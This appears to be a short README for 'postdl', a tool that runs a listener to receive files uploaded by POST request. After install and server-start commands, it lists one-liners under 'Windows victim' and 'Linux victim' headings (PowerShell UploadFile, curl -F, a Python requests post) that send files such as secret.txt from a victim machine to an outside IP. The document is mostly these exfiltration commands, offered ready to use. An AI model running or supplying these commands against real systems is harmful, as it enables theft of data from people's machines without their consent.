Retrieving files using post requests.
pipx install git+https://github.com/charlesgargasson/postdl.git@main
# pipx uninstall postdl
# pipx upgrade postdl
Starting server using http or https
postdl --ip 0.0.0.0 --port 8080
==> Listening 0.0.0.0:8080
postdl --ip 0.0.0.0 --port 8443 --tls
==> Listening 0.0.0.0:8443
Windows victim
powershell -c "(New-Object System.Net.WebClient).UploadFile('http://4.3.2.1:8080/','C:\Users\BOB\Pictures\xyz.jpg')"
Linux victim
curl -F "file=@/etc/blabla/xyz.jpg" "http://4.3.2.1:80"
curl -kF file=@/home/user/secret.txt https://4.3.2.1:8443
python3 -c 'import requests;f = {"file": open("/tmp/HACKER.tar.gz", "rb")};r = requests.post("https://4.3.2.1:443", files=f, verify=False)'